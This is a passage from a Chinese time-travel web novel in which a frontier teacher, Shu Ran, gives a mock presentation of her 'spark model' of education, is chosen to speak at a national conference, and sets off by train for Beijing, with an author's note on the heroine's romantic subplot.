“有的骑马,有的搭顺路车,远的就在教学点附近住下。” 廖承沉默了。 过了很久,他说:“我看了几天的材料,听了几天的汇报,也实地看了七个点。你的工作确实扎实,成效也实在。” 舒染等着“但是”。 “但是,”廖承果然开口了,“你的模式有一个根本性问题。” “您说。” “太依赖你个人。”廖承转过头看她,“每个教学点的老师都说‘舒老师怎么教,我们就怎么教’。每个家长都问‘舒老师还来不来’。你编的手册,你做的培训,你定的标准——你把自己变成了这个体系的唯一支点。” 舒染心里一沉。这是她自己也意识到的隐患。 “这不是可持续的模式。”廖承语气平静,却字字清晰,“你是个优秀的实践者,但如果你想把经验推广到更多边疆地区,就必须把‘舒染’这个人从体系里抽出来,让它变成一套可复制、可推广的方法。” “我正在努力。”舒染说,“手册就是尝试。” “手册是你写的。”廖承一针见血,“你的思路,你的语言,你的风格。别人学的是‘舒染的办法’,不是‘边疆教育的办法’。” 舒染无法反驳。这确实是实情。 “所以,”廖承继续说,“这次遴选边疆地区发言人,上面确实有考虑你。但最终能不能定,还要看你在接下来讨论会上的表现。” “我明白了,谢谢廖组长指点。” “不是指点,是提醒。”廖承看着舒染,“你有六天时间准备。六天后,工作组离开V城前,会有一场模拟汇报。我和工作组的成员会担任模拟评委,你需要在四十分钟内,说服我们你为什么是合适的发言人。” “好。” “另外,”廖承顿了顿,“汇报内容会全程记录,会带回去作为重要参考。” 舒染握紧了放在膝上的手。 回到教育局已经晚上七点。舒染没去食堂吃饭,直接回了办公室。 她需要重新思考整个汇报的思路。廖承说得对——之前的汇报太像个人工作总结,展示的是“舒染做了什么”,而不是“边疆教育应该怎么做”。 她打开笔记本,开始列提纲。 第一版提纲写完,已经九点了。王娟端着一碗面进来:“舒染,吃点东西。” “哇,看起来好香,谢谢你!”舒染有些惊喜地接过碗,是清汤挂面,卧了个荷包蛋。 王娟在她对面坐下:“廖组长今天说的那些……是不是很难?” “难,但是对的。”舒染挑起一筷子面,“我确实太陷在具体工作里了,没跳出来看全局。” “可你的工作就是实实在在的啊。” “是实实在在,但要让别人也能做,就不能只靠‘舒染怎么做’。”舒染吃了几口面,放下筷子,“我得想清楚,边疆教育的核心问题是什么,解决这些问题的通用方法是什么,我的经验在其中的位置又是什么。” 王娟似懂非懂地点头。 “你先回去吧,我晚点走。” “那你别太晚。” 王娟走后,办公室里只剩下舒染一个人。她重新摊开稿纸。 边疆教育的核心问题是什么?是资源匮乏、语言文化差异、家长观念落后、流动性大。 她一个一个列出来,然后在每个问题后面写:我们尝试过什么办法?哪些有效?哪些无效?为什么? 写到牧区流动性问题时,她停住了笔。 阿迪力的脸浮现在脑海里。那个曾经冲进教室的少年,现在能说流利的汉语,能帮兽医站做防疫宣传,能教其他牧区孩子认字。 他为什么变了? 因为上学让他看到了不一样的世界,因为知识让他有能力帮助家人和族人,因为他从“需要被教的人”变成了“可以去教别人的人”。 舒染忽然有了思路。她重新铺开一张纸,写下新的标题。 一直写到深夜才完成。舒染站起来活动僵硬的肩膀,走到窗边。 V城的冬夜很安静,街上没有行人。她想起畜牧连的夜晚,能听见风声,听见远处的狗吠,听见陈远疆巡逻归来的马蹄声。 她忽然想到了陈远疆。 想他说话时简短的话语,想他别扭地表达关心的样子。 如果他在,或许能给她一些建议。但她知道,他此刻一定也在某个地方,做着重要的事,就像她一样。 舒染回到桌前,把写满字的稿纸收好。明天开始,她要用六天时间,把这个思路打磨成能在四十分钟内打动评委的汇报。 第四天开始,舒染进入了闭关状态。白天照常陪同工作组走访,晚上熬夜改稿。她找了周书记和韩局长,请他们模拟提问;找了教研室刘惠,请她从专业角度提意见;甚至找了资料室张雅琴,让她从旁观者角度听效果。 到第六天晚上,舒染已经不记得稿子改了多少遍遍。 模拟汇报安排在第七天上午,在教育局的小会议室。除了工作组五人,周书记、韩局长和李卫国也参加。 舒染提前半小时到会议室做准备。 廖承准时进来,后面跟着工作组成员。他今天穿了深蓝色的中山装,看起来更正式了。 “准备好了吗?”他问舒染。 “准备好了。” “那开始吧。” 舒染走到讲台后,看向台下。廖承坐在第一排正中,目光专注。 “各位领导,我是舒染。今天我要汇报的题目是……” 她讲到教学点时,她展示了三张对比图:最初的破棚子,后来的简易教室,现在略显规范化的教学点。 “硬件在改善,但核心没变——老师还是那些老师,教材还是那些教材,方法还是那些方法。为什么效果越来越好?因为我们在迭代。” “第一年,我们摸索:什么样的课学生爱听?什么样的内容家长支持?第二年,我们总结:哪些方法有效?哪些走不通?第三年,我们规范:编写手册,培训老师,建立标准。第四年,我们推广:从一个点到一片区,从汉族学生到多民族学生。” 舒染看向台下,“这四步,我称之为火种模式。老师是第一个火种,点燃学生对知识的渴望;学生成为第二个火种,影响家人和同伴;家庭成为第三个火种,带动整个片区重视教育。火种传递,不需要每个环节都有我,只需要有愿意被点燃的人,和愿意传递火的人。” “所以,回到廖组长提出的问题:这个模式是否太依赖我个人?”舒染转向廖承,“我的答案是:曾经是,但现在不是。因为我做的不是教,而是点燃和传递。我已经点燃了第一批火种,他们正在点燃更多的人。即使我明天离开,这些火种也会继续燃烧。” “边疆教育的根本问题,是缺一套能让普通人变成火种的方法。我这几年的工作,就是摸索这套方法。现在,它已经初具雏形——有手册,有培训体系,有评估标准,有推广路径。” 舒染最后展示了一张图表:一个中心圆是火种老师,周围辐射出学生火种、家庭火种”、社区火种、,再往外是区域推广、标准建立和政策建议。 “这就是我想在全国会议上汇报的内容:不是我做了什么,而是我们发现了什么;不是边疆教育有多难,而是边疆教育可以这样做,不是需要多少资源投入,而是如何让现有资源发挥最大效益。” 她结束汇报,时间正好三十九分钟。 会议室里沉默了几秒。随后,廖承带头鼓掌。 “很精彩。”廖承摘下眼镜擦了擦,重新戴上,“比我想象的还要精彩。” 舒染走下讲台,才发现手心全是汗。 模拟提问环节开始了。工作组的成员轮番提问,问题一个比一个尖锐:关于经费测算,关于师资培训周期,关于民族语言教学的具体操作,关于成果评估的科学性…… 舒染一一作答。有些问题她早有准备,有些需要临场发挥。有两个问题她答不上来,老实说“这个我们还在摸索,目前没有成熟方案”。 提问结束,廖承做了总结。 “舒染同志的汇报,有几点让我印象深刻。首先,思路清晰,从具体案例上升到方法论,再回归到实践指导。其次,实事求是,不回避问题,不夸大成绩。最后,有推广价值——火种模式这个提法很有启发性。” 他顿了顿,看向舒染:“但也有不足。比如,如何量化火种传递的效果?如何确保不同地区、不同民族的适用性?这些都需要进一步思考和论证。” “我明白。”舒染点头,“这些确实是下一步要解决的问题。” “好。”廖承合上笔记本,“模拟汇报到此结束。工作组会在离开前给出正式反馈。舒染同志,你这几天辛苦了。” “应该的。” 会议结束后,舒染最后一个离开会议室。她收拾好讲台上的材料,准备回办公室。 廖承在门口等她。 “舒染。” “廖组长。” “一起走走吧。”廖承说,“有些话,想私下跟你说。” “好。” 两人走出教育局大楼。雪已经停了,地上铺了薄薄一层白。天还是阴的,但云层后面透出一点光。 “你的汇报很好。”廖承开口,“比我在部里听过的很多汇报都好。” “谢谢。” “不是客气。”廖承停下脚步,转头看她,“我是说真的。你有从实践中提炼理论的能力,这是很多基层干部缺乏的。你也有把理论讲得让人听懂的能力,这是很多专家学者缺乏的。” 舒染不知道该说什么,只好沉默。 “所以,”廖承继续说,“我会向上面推荐你作为边疆地区的发言人。但最终决定权不在我这里,你要有心理准备。” “我明白。” “另外,”廖承从公文包里拿出一个信封,“这是我写的一些建议,关于你汇报可以进一步完善的地方。不是官方意见,只是个人看法。你看看吧,有用就参考,没用就算了。” 舒染接过信封,厚厚的一沓。 “廖组长……” “不用谢我。”廖承笑了笑,“如果你能在全国会议上讲好边疆教育的故事,对所有人都有好处——对边疆的孩子,对在一线工作的老师,对制定政策的我们,都是。” 他说得很坦荡,舒染反而放松了些。 “我会努力的。” “嗯。”廖承点点头,忽然说,“你知道吗,来之前,我其实有些担心。” “担心什么?” “担心你还像当年一样……”廖承看着她,“现在看来,是我多虑了。你已经能照顾很多人了。” 这话说得有些感慨。舒染选择最安全的回应:“人总是要长大的。” “是啊。”廖承沉默了一会,“那我先回去了。明天工作组离开,你不用送,好好准备接下来的工作吧。” “好。廖组长一路平安。” 廖承转身走了。 舒染低头看了看手里的信封,没有拆开,直接放进了包里。 回到办公室,王娟立刻凑过来:“怎么样?” “还行。”舒染坐下,“廖组长说会推荐我。” “太好了!”王娟高兴得差点跳起来,“我就知道舒姐肯定行!” “还没最终定,别高兴太早。” “那也八九不离十了。”王娟给她倒了杯热水,“你这几天都没好好吃饭,今天下午早点回去休息吧。” “嗯。” 下午舒染把手头的工作处理完,提前回了宿舍。张雅琴和刘惠见她回来,都过来问情况。 舒染简单说了说。 “那就好。”张雅琴拍拍她的手,“小舒啊,你这几年不容易,该有的回报也该来了。” “就是。”刘惠说,“去首都开会,多大的荣誉啊。到时候让全国都看看,咱们边疆教育是怎么干的。” 舒染笑了笑,没说什么。 晚上她一个人待在房间里,终于拆开了廖承给的那个信封。里面是十几页信纸,写满了密密麻麻的字。 前半部分是关于汇报内容的建议——结构可以怎么调整,案例可以怎么加强,数据可以怎么呈现。每一条建议都很具体,看得出来是认真思考过的。 后半部分,笔锋忽然变了。 “舒染,写这些建议的时候,我常常想起当年在联谊会上你的样子。那时候你说‘青年人要志在四方,要为国家做贡献’。台下很多人鼓掌,但我知道,说这话的人里,真正能做到的没几个。” “你做到了。不仅做到了,而且做得比所有人想象的都好。” “作为旧识,我为你骄傲。作为教育工作者,我向你学习。” “此去经年,我们都变了。你变得更坚韧,我可能变得更世故。但有些东西没变。” “希望你能站上更大的舞台,让更多人听到边疆的声音。也希望你一切都好。” 信到这里结束。 舒染把信纸折好,放回信封。 窗外又下起了大片大片的雪花。 她想起很多事。想起畜牧连的地窝子,想起启明小学的第一堂课,想起陈远疆在星空下讲的故事,想起孩子们举着作业本说“老师我会了”的笑脸。 这些才是真实的。那是她有动力站在这里的很大一部分理由。 至于廖承的欣赏、廖承的感慨、廖承的回忆,那都是别人的故事。她只是恰好在这个身体里,恰好要处理这些遗留的情绪。 她知道自己该怎么做:接受工作上的认可,保持专业上的交流,淡化私人层面的牵扯。廖承是上级,是评委,是可能帮助她事业前进的人,但也就到此为止。 舒染把信封锁进抽屉,关灯上床。 明天,工作组就要离开了。而她要继续在这里做她该做的事。 雪越下越大,覆盖了街道,覆盖了屋顶,覆盖了这个边疆城市的一切—— 作者有话说:写到廖承这个角色,以及他与舒染之间那些微妙的过往时,作者君犹豫了很久。 我在想,这么写会不会给舒染的感情生活着墨过多,让一些读者觉得,一个一心搞事业的现代独立女主,不该有太多感情线索?或者说,让不止一位异性对她抱有欣赏或好感,是否会给她的事业线蒙上桃色滤镜? 但后来我想,凭什么不可以呢? 舒染聪明、坚韧、有魄力、有情怀,她改变了无数人的命运。这样一个人被身边的异性看到并欣赏,甚至产生感情,恰恰是她人格魅力的折射,这不是对她事业成就的稀释或污名化。 我周围似乎总被一种规训束缚:一个追求事业的女性,最好情史简单,最好不被太多异性青睐,否则她的努力和成就就容易变味。可性别如果反过来呢?这种双重标准,我不想遵循。 舒染值得被爱,值得被欣赏,这和她想不想、要不要接受是两回事。她的重心永远是她自身。但事业之路有人被她吸引,有人为她驻足,这本身就很动人,也是她力量的一部分。 所以,我思量再三,最终决定就这样写。让舒染去影响她周围的世界,她不必刻意收着,她配得上这一切。 愿我们都能挣脱那些束缚,去看见并书写更辽阔的人生。《 》 150-160 第151章 廖承和工作组离开后的第四天, 单位里气氛微妙。 舒染照常上班,处理日常工作,但能感觉周围有很多人等着看结果。 李卫国这几天不像往常那样到处串门闲聊。有两次舒染在走廊遇到他, 他都只是点点头,快步走开。 王娟倒是忍不住, 中午吃饭时小声说:“舒染,我听说李组长前几天晚上去周书记办公室了,待了好久。” “可能是汇报工作。”舒染夹了块白菜。 “可昨天书记去省里开会了呀。”王娟眨眨眼, “今天早上才回来。” 舒染没接话。她知道李卫国在活动什么——边疆教育发言人这个位置,不只她一个人想要。整个边疆系统里,有资历、有背景的人不少。她一个出身有瑕疵的基层干部能走到现在这步,靠的是实打实的成绩, 但最终能不能上去, 还要看很多因素。 下午两点, 周书记的秘书小张来办公室:“舒染同志, 书记请你去一趟。” 舒染放下手里的文件:“现在?” “嗯, 书记说挺急的。” 办公室里, 王娟和李卫国都抬头看过来。舒染理了理衣服下摆,起身跟着小张出去。 走廊里很安静, 舒染心里快速过了一遍可能的情况——是好消息?还是坏消息?或者是需要她补充什么材料? 到了书记办公室门口,小张敲了敲门, 里面传来周书记的声音:“进来。” 舒染推门进去。周书记坐在办公桌后,手里拿着份文件, 眉头微皱。韩局长也在, 坐在旁边的沙发上,面色平静。 “书记,局长。”舒染打了招呼。 “小舒, 坐。”周书记指了指对面的椅子。 舒染坐下。 周书记把手里的文件放下,“刚接到上面的电话。关于那个边疆地区发言人的事,有结果了。” 舒染的心跳得快了一些。 “正式通知明天会到。”周书记说,“但上面提前知会了我们——确定是你。” 房间里安静了几秒。 “确定了?”她问,声音比想象中平静。 “确定了。”韩局长接过话,脸上露出笑容,“小舒,恭喜你呀!” 舒染张了张嘴,想说点什么,但一时不知该说什么。 从畜牧连那个工具棚,到师部,再到现在——她真的要站上全国会议的层面了。 “不过,”周书记话锋一转,“有几件事要跟你说清楚。” 舒染立刻收敛心神:“书记您说。” “这次会议规格很高,你要做到万无一失。” “明白。” “还有,”周书记拿起那份文件,“你的家庭背景,上面已经派人去上海外调了,这是正常程序,你不要有压力。” 舒染点头。 “最重要的一点,”周书记看着她,“这次机会难得,但也是考验。会上会有提问,会有讨论,甚至可能会有不同观点的交锋。你要做好充分准备,不能只讲成绩,也要有应对质疑的准备。” “我会的。” 周书记把文件推过来:“这是会议的大致议程和主题方向,你先看看。正式的会议材料和发言要求,等部里通知到了会给你。” 舒染接过文件,厚厚一沓。 “还有半个月时间。”韩局长说,“这半个月,你的其他工作先放一放,全力准备这个事。需要什么支持,直接跟我说。” “谢谢局长。” 从书记办公室出来,舒染站在走廊里,看着手里的文件。封面上印着个大红章。 她平复了一下心情。 走回办公室的路上,脚步有点轻飘飘的。推开门,王娟立刻站起来:“怎么样?” 舒染把文件放在桌上,“确定了,是我。” “太好了!”王娟兴奋地抓住她的胳膊,“我就知道!我就知道你肯定行!” 李卫国从座位上站起来,脸上挤出一个笑容:“恭喜啊,舒染同志。” “谢谢李组长。”舒染礼貌地回应。 “那接下来……”李卫国试探地问,“发言稿什么时候开始准备?需要帮忙吗?” “周书记让我这半个月专心准备。”舒染说,“办公室的工作,可能要麻烦同志们多担待了。” “应该的,应该的。”李卫国笑得有点勉强,“那舒染同志你先忙,有什么需要随时说。” 消息传得很快。不到下班时间,整个单位都知道舒染被选上去首都开会了。 舒染去食堂吃饭时,不断有人过来道贺。刘惠端着饭盒坐过来,拍拍她的肩:“小舒,给咱们争光了!” “还没去呢。”舒染笑着。 “定了就是定了。”刘惠压低声音,“我听说,这次本来有好几个人选,上面都为难。最后还是部里直接定的你——廖组长力荐的。” 舒染夹菜的手顿了顿:“廖组长?” “嗯。”刘惠点头。 舒染低头吃饭,没说话。 “不过你也别太在意这个。”刘惠话里有话,“他推荐你,是因为你确实合适。这是公事,公事公办就好。” “我知道。”舒染抬头笑了笑,“刘惠姐放心。” 晚上回到宿舍,张雅琴已经知道了消息,特意煮了几个鸡蛋拿来。“小舒,补补。接下来半个月有的忙呢。” 舒染接过碗:“谢谢雅琴姐。” “谢什么。”张雅琴在她旁边坐下,“说真的,姐替你高兴。这些年带出来的成绩,大家都看在眼里。这次去首都,好好讲,让他们听听,边疆的教育是怎么干出来的。” “嗯。” 张雅琴似乎想起什么,犹豫了一下,还是开口:“对了,今天下午,司令部那边有位相熟的干事来查旧档案,顺口提了句,说首都最近有些关于边疆干部的风声,好像是上面有位老首长,在关注边疆各条战线涌现的实干人才……特别提到了文教战线。” 舒染想起什么来。老首长? 张雅琴在工作多年,人际关系搞得好,所以消息灵通,但这话听起来仍有几分模糊。她不便深问,只是点点头:“可能是个好信号。” “肯定是好信号。”张雅琴笑了笑,“你啊,就安心准备。该是你的,跑不了。” “嗯。” 吃完鸡蛋,舒染回到自己房间。她没开灯,在黑暗里坐了一会儿。 她琢磨着张雅琴的话。她提到的老首长是不是收养陈远疆的那位? 如果是的话,他是军队系统的人。而自己正好属于文教战线。这两条线似乎不该有交集,除非…… 除非陈远疆在那边,提到了她。 这个念头让有些许不安。她希望自己的路是靠自己走出来的。 她看向窗外,远处有零星的灯火,更远处是黑沉沉的戈壁。 她想起陈远疆离开前的那个晚上,在白杨林边,他说“等我回来”。那时候她不知道要等多久,也不知道等来的会是什么。 现在,她等来了去首都开会的机会。而他,可能也在首都,在做他的事。 世界真小,又真大。 * 接下来的日子,舒染进入了极致的工作状态。 每天早上八点起床,八点半到办公室,开始改发言稿。周书记给她安排了一间小会议室,让她能安静准备。韩局长从资料室调了一批相关文件给她参考,还联系了省里的教育专家,请他们帮忙审稿。 舒染的稿子改了又改。第一版太像工作报告,第二版太学术,第三版太煽情……到第七版,她才找到合适的平衡点——有数据,有故事,有分析,有展望。 每天下午,她会模拟发言。对着空荡荡的会议室一遍遍地讲。讲到最后,哪句话该停顿,哪个词该重音,哪个手势该配合,都形成了肌肉记忆。 王娟有时会偷偷在门外听,听完跟她说:“舒姐,你讲得真好,我都听哭了。” 舒染只是笑。她知道,真正到了台上,面对那些见多识广的领导专家,光有感情是不够的,还得有分量。 离出发还有一周时,周书记组织了一次模拟演练。局里中层以上干部都参加,舒染完整地讲了一遍。 结束后,周书记问大家的意见。 “数据很扎实,故事很感人。” “政策把握很准,体现了边疆特色。” “结构清晰,重点突出。” 李卫国也发了言:“舒染同志准备得很充分。我只有一个建议——是不是太稳了?全国会议,各地方都会展示最好的成绩,我们如果只是稳,会不会不够突出?” 舒染看向他:“李组长的意思是?” “可以更……有冲击力一些。”李卫国说,“比如,多讲讲困难,讲讲我们是怎么在极端条件下做出成绩的。越艰苦,越能体现我们的精神嘛。” 舒染沉默了几秒,然后说:“谢谢李组长的建议。但我觉得,边疆教育不需要用卖惨来博取关注。我们有我们的做法,有我们的成效,这就够了。真正的冲击力,不是来自有多苦,而是来自我们如何在这样的条件下,依然找到了可行的路。” 会议室里安静了一下。 周书记点头:“小舒说得对。我们汇报工作,不是比惨,而是比思路,比方法,比实效。就按这个思路来。” 模拟演练结束,舒染回到办公室整理材料。王娟帮她收拾东西,小声说:“舒姐,你刚才说得真好。李组长那个建议,我听着应该不太符合你的思路。” “他也是好意。”舒染说,“只是思路不同。” 王娟撇撇嘴,没再说下去。 出发前一天,舒染把手头的工作全部交接完。发言稿定稿装进文件袋。行李很简单,两套换洗衣服,洗漱用品,几本参考书。 晚上,张雅琴和刘惠来给她送行。 “小舒,到了首都,别紧张。”刘惠说,“你就想着,你是代表千千万万边疆教育工作者去的。你背后有我们呢。” “我知道。” 张雅琴拿出一个小布包:“这里面是干粮,路上饿了吃。”舒染接过,心里暖暖的:“谢谢雅琴姐。” “谢什么。”张雅琴眼睛有点红,“你这一去,就是见过大世面的人了。以后……可能就不回咱们这偏远边疆了。” “怎么会。”舒染握住她的手,“我开完会就回来。” “那就好,那就好。” 送走两人,舒染独自坐在房间里。 她想起六年前,刚穿越过来的时候,躺在闷罐车里,听着车轮轧过铁轨的声音,心里一片茫然。那时候的她,只想活下去。 而今天,她要去首都,要在全国会议上发言,命运真奇妙。 她闭上眼睛,慢慢睡着了。 梦里,她站在一个很大的会场里,台下坐满了人。她开口说话,声音在会场里回荡。讲着讲着,她看到台下有一个熟悉的身影——陈远疆坐在角落里,穿着军装,安静地听着。 他对她笑了笑。 她也笑了。 出发那天是个晴天。 舒染早早起来,检查了一遍行李。八点整,局里的车在楼下等她。周书记和韩局长都来送行。 “小舒,一路顺风。”周书记和她握手,“到了首都,好好表现。” “书记放心。” “发言稿带好了?” “带好了。” “那就好。”韩局长拍拍她的肩,“别紧张,就像你平时那样讲。我们等你的好消息。” “好。” 车开了。舒染从后窗回头,看到周书记和韩局长还站在门口挥手。王娟也跑出来,用力挥手。 车子拐过街角,人影不见了。 去火车站要开两个小时。舒染靠在座位上,看着窗外的景色从城市变成戈壁,再变成农田,最后又回到城市。 到了火车站。舒染提着行李下车,看到已经有几个人在等了——是省厅的陪同人员,还有另外两个去开会的代表。 “舒染同志?”一个年轻男子走过来,“我是省厅的小赵,这次由我负责这次送你们去北京。” “你好你好。”舒染赶紧握手。 “别客气。”小赵帮她提行李,“车票已经买好了,软卧。这一路要六天六夜,辛苦了。” “应该的。” 上了火车,找到包厢。四个人一间,舒染的下铺。她放好行李,坐在窗边。 汽笛长鸣,火车缓缓开动。站台向后移动,越来越快。V城在视线里变小,最后消失在远方。 舒染靠在窗边,看着外面飞速后退的戈壁。心里很平静,甚至有些空。 穿越来这个世界,第一次离开边疆。 不知道这个时代的首都是什么样子。不知道会场上会遇到什么人。不知道……能不能见到他。 火车哐当哐当地前行着。 第152章 舒染靠窗坐在下铺。她的铺位是四人包厢的下铺, 对面下铺是省厅派来陪同进京的年轻干部小赵。上铺两位,一位是副主任老谢,头发花白, 话不多,上车后就拿着文件看;另一位是姓吴, 身材敦实,鼾声已经隐隐响了起来。 包厢门开着,过道里人来人往。 “舒染同志, 喝点水。”小赵递过来一个印着“先进工作者”红字的搪瓷缸,里面泡着茶叶,水是刚才在车站锅炉房接的,已经温吞。 “这车得走六天六夜呢, 慢慢适应。一开始都这样, 睡不着, 吃不下。” “谢谢赵干事。”舒染接过缸子, 没喝, 放在面前的小折叠桌上。她打量小赵, 二十五六岁的模样。 “叫我小赵就行。”小赵笑笑,自己也端起缸子抿了一口, “领导们特意交代了,路上一定照顾好你。你这可是代表咱们边疆教育战线的光荣任务。” “组织信任, 压力很大。”舒染语气平和,目光转向窗外。 戈壁的景色正在飞速后退, 先是连片的白碱荒地, 间或闪过几排低矮的土坯房和白杨林,那是兵团或公社的连队村庄。渐渐地,连这些也稀少了, 只剩下无穷无尽的戈壁,让人感到无尽的荒凉。 “压力就是动力嘛。”小赵接话很顺,“你的材料我都学习过,写得太好了,特别扎实,听说廖组长的评价很高。” 他提到廖承,语气自然,但舒染捕捉到他眼神中的探究。省厅的人,消息总是灵通的,或许知道她和廖承有旧识,或许只是对部里年轻有为的处长感兴趣。 她垂下眼,拿起缸子,“是基层的同志们实践出来的,我只是做了些归纳整理。廖组长看问题很准,提的意见一针见血。” “那是,部里的领导,视野和水平就是不一样。”小赵感慨道,随即又说道:“舒染同志,这次去北京,除了开会,可能还有一些交流活动,见见其他地区的代表,甚至可能会有记者采访。你思想上要做好准备,周书记提的那个新角度,我觉得很有感染力。” 舒染心里轻轻叹了口气。从确定她发言开始,周围总有人试图帮她调整角度,要么希望她多渲染边疆的艰苦和个人的牺牲;要么希望她把成绩都归于精神力量。可她真正想讲的是那些具体的方法、遇到的困难、以及普通人在有限条件下如何把事情做成的逻辑。 “发言稿韩局长已经审过了,”舒染抬起眼,看着小赵,语气温和:“核心是汇报我们对扫盲教育的探索。重点是方法、过程和实效。苦难是客观存在的背景,但我想,部里领导和全国同行更想听的,恐怕不是我们有多苦。对不对,赵干事?” 小赵愣了一下,忙点头:“对,对,是这个道理。还是舒染同志站得高,看得远。我也就是随便一提,提得不好。” “您是好意,我明白。”舒染给了他一个台阶,转头又看向窗外。谈话暂时告一段落。 上铺的老谢忽然咳嗽了一声,放下文件,从包里摸出个铝制酒壶,拧开盖子呷了一口。酒味散开来。 他慢悠悠开口:“小赵啊,舒染同志这次去首都,把事说清楚就够了。” 老谢的语气带着久居上位的通透。小赵立刻恭敬起来:“是,谢主任说得对。” 吴代表在鼾声中翻了个身,含糊地嘟囔了一句什么,又没了动静。 火车继续行驶。窗外的景色开始有了变化,出现了更多的绿色,那是人工种植的防护林带。 老谢下来坐到小赵的下铺上,望着窗外,像是自言自语,“当年也是这么坐着火车,一车的年轻人,唱着歌往新疆去。一晃这么多年喽。” 舒染心中一动。她穿越而来时在闷罐车里,而此刻,她坐在相对舒适的硬卧车厢,身份已然不同。她这个异世的灵魂,竟然也被编织进了历史叙事中。 午饭时间到了。小赵拿出一个网兜,里面有几个馕、一饭盒咸菜疙瘩炒肉丝、还有几个煮鸡蛋。“舒染同志,将就吃点。车上的餐车去晚了也没什么好菜。” 老谢和吴代表也坐在小赵的下铺,各自拿出了干粮。老谢是烙饼夹酱菜,吴代表则是油纸包着的几只卤鸡爪和烧饼。小小的折叠桌顿时被摆得满满当当。 “一起吃,一起吃。”吴代表醒了,嗓门洪亮,不由分说把鸡爪往舒染和小赵面前推,“尝尝,我爱人卤的,路上吃这个有味!” 舒染道了谢,拿了一个馕,盛了点咸菜吃着,听吴代表和老谢闲聊一些工作的事情,术语很多,她听得半懂不懂。小赵偶尔插话,问的也都是些政策执行层面的细节。 下午,舒染觉得车厢空气太闷太浊。她起身对小赵说:“赵干事,我这会儿脑袋有些昏沉,想出去透透气,在过道站会儿。” “我陪你。”小赵立刻站起来。 “不用,就门口,没事。”舒染摆摆手,拿起自己的水壶,走出了包厢。 过道里同样拥挤,不少人坐在自带的小马扎上,或者干脆坐在行李包上。舒染找了个靠车厢连接处的角落,这里相对人少些,风也大。她靠着车厢壁深深吸了几口流动着的空气。 连接处晃动的厉害,另一节车厢更加拥挤,硬座车厢里,人挨着人,连过道都站满了。有人蹲在地上啃干粮,有孩子哭闹,有男人脱了鞋,脚臭味隐隐飘来。 舒染移开目光。她能有一个卧铺位,已是特殊照顾。 她拧开水壶喝了几口水,望着窗外飞速掠过的荒凉,她想起了陈远疆。 上次与他通信,已经是两个月前了。 “同志,麻烦让让。”一个抱着孩子的妇女从她身边挤过。舒染侧身让开,目光扫过那孩子。她想起启明小学最初的那些孩子,石头、栓柱、小丫、阿依曼…… 她所做的一切,最初的动机或许是自保、生存、以及来自另一个时代的教师责任感。但如今,好像一切都变了很多。 “舒染同志,好点了吗?”小赵寻了过来,手里拿着把蒲扇,“里面太闷了,我给你找了把扇子。谢主任说,晚上能凉快点。” “好多了,谢谢。”舒染接过扇子,轻轻摇着,“赵干事对这条路很熟?” “跑过几趟。”小赵也靠在车厢上,望着窗外,“每次感觉都不一样。国家建设快,你看外面,不少地方都在修路盖房。就是人太累了,方方面面都缺。” “教育也缺。”舒染接口道,“缺老师,缺教材,更缺让老师和教材能发挥作用的条件。” 小赵转头看了她一眼,似乎想说什么,又咽了回去,最后只是点点头:“是啊,百年大计。所以你这趟去,意义重大。” 天色渐渐暗了下来,西边的天空染出了晚霞。车厢里亮起了昏黄的灯。广播开始播放激昂的歌曲,然后是新闻摘要。 舒染回到了包厢。老谢正吃着烙饼,吴代表又睡着了。小赵在整理一些文件。她在自己的铺位和衣躺下。 第二天。 舒染几乎没怎么睡踏实,列车的摇晃加上心里有事,天刚蒙蒙亮就醒了。包厢里一片昏暗,对铺的小赵似乎也没睡好,翻了几次身。上铺的老谢和吴代表还在打鼾。 她轻手轻脚地爬下铺,拿起毛巾牙缸去车厢尽头的洗漱区。那里已经排起了小队,人们睡眼惺忪地等待着。水龙头流出的水很小,舒染简单擦了把脸,冰凉的水刺激得精神一振。刷牙时,看着镜子里自己眼底淡淡的青黑,皱了下眉。这样可不行。她需要更好的状态。 回到包厢,小赵也起来了,正在整理床铺。“舒染同志起得真早。昨晚没睡好吧?这硬卧就这样,习惯就好。” “还好。”舒染笑了笑,拿出自己的水壶和昨晚剩的半个馕慢慢吃着。她想起在畜牧连时,有时候忙起来,也是这样凑合一顿。 火车停靠在一个中等规模的车站。站台上立刻热闹起来,不少小贩挎着篮子,里面是煮熟的玉米、茶叶蛋、烧饼,还有用报纸包着的瓜子花生。小赵征求了老谢和吴代表的意见后,下车买了些茶叶蛋和烧饼回来。 “换换口味,老吃冷干粮胃受不了。” 热乎乎的烧饼夹着咸菜,比冷硬的馕好入口得多,茶叶蛋也很入味。老谢吃了一个蛋,半个烧饼,又呷了口酒,满足地叹了口气:“还是热乎的好。小赵会办事。” 吴代表则对烧饼的芝麻多少评价了一番,说他老家那边芝麻撒得才叫一个厚实。气氛比昨天刚上车时活络了一些。 “快到兰州了。”老谢望着窗外说。 兰州。舒染对这个地名有印象,是西北重要的交通枢纽和工业城市。她穿越前的知识告诉她,这里的拉面很有名。 “舒染同志是第一次出这么远的门吧?”吴代表靠在铺位上,点燃了一支烟。舒染对烟味不太适应,但没说什么。 “是,第一次去首都。”舒染回答。 “北京好啊,大气!”吴代表喷出一口烟,“不过啊,舒染同志,我看你材料里写的那些事,都是在基层干出来的。到了那儿,见了大领导,见了各路专家,该坚持的还得坚持。咱们搞具体工作的人知道,有些事,说起来一套,做起来是另一套。” 这话说得直白,但舒染听出了里面的支持和同行的理解。 “谢谢吴代表。我明白。”舒染诚恳地说。 老谢在一旁听着,没说话。 下午,火车靠站时间较长。小赵提议下车走走,透透气,活动活动腿脚。舒染也觉得在车厢里闷得难受,便同意了。老谢和吴代表表示留在车上看着行李。 站台上人潮汹涌,南来北往的旅客络绎不绝。 舒染和小赵沿着站台慢慢走。小赵指着远处隐约可见的山影说:“那里地形很特别,工业发展很快。” 舒染点点头,目光却被站台另一侧吸引。那里停着一列长长的货运列车,敞篷车厢里堆满了机器部件,用粗麻绳和帆布捆扎着。一些工人正围着车厢检查绳索。 “那些是机床部件,可能是往边疆送的。”小赵顺着她的目光看去,“现在全国各地都在支援边疆建设,机器、技术、人才,都在往西走。” 舒染点点头,她想起畜牧连那几台老旧的拖拉机。 “所以啊,”小赵感慨,“你们在边疆搞教育,也是在为这些建设打基础。没有识字的人,图纸看不懂,操作规程学不会,机器再好也是废铁。” 这话说到了点子上。舒染看了小赵一眼,“是啊,这是生存的需要,也是建设的需要。” “生存教育先行。”小赵提到了舒染报告里的核心词,语气里多了些认同,“这个提法越想越实在。” 舒染没接话茬,只是说:“还是要根据实际情况。” 